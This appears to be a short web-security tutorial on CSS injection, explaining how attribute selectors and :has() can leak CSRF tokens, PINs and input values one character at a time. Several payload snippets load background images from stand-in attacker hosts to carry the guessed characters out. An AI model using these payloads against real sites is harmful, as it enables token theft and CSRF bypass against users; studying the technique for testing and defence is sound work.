CSS Injection: CSS Selectors
CSS selectors can be used to exfiltrate data. This technique is particularly useful because CSS is often allowed in CSP rules, whereas JavaScript is frequently blocked.
The attack works by brute-forcing a token character by character. Once the first character is identified, the payload is updated to guess the second character, and so on. This often requires an iframe to reload the page with the new payload.
input[value^=a](prefix attribute selector): Selects elements where the value starts with "a".input[value$=a](suffix attribute selector): Selects elements where the value ends with "a".input[value*=a](substring attribute selector): Selects elements where the value contains "a".
Exfiltration via Background Image
When a selector matches, the browser attempts to load the background image from a URL controlled by the attacker, thereby leaking the character.
input[value^="TOKEN_012"] {
background-image: url(http://attacker.example.com/?prefix=TOKEN_012);
}input[name="pin"][value="1234"] {
background: url(https://[ATTACKER.DOMAIN.TLD]/log?pin=1234);
}Tips:
Hidden Inputs: You cannot apply a background image directly to a hidden input field. Instead, use a sibling selector (
+or~) to style a visible element that appears after the hidden input.
input[name="csrf-token"][value^="a"] + input {
background: url(https://[ATTACKER.DOMAIN.TLD]/?q=a)
}Has Selector: The
:has()pseudo-class allows styling a parent element based on its children.
div:has(input[value="1337"]) {
background:url(/collectData?value=1337);
}Concurrency: Use both prefix and suffix selectors to speed up the guessing process. You can assign the prefix check to one property (e.g.,
background) and the suffix check to another (e.g.,list-style-imageorborder-image).
Comments
No comments yet.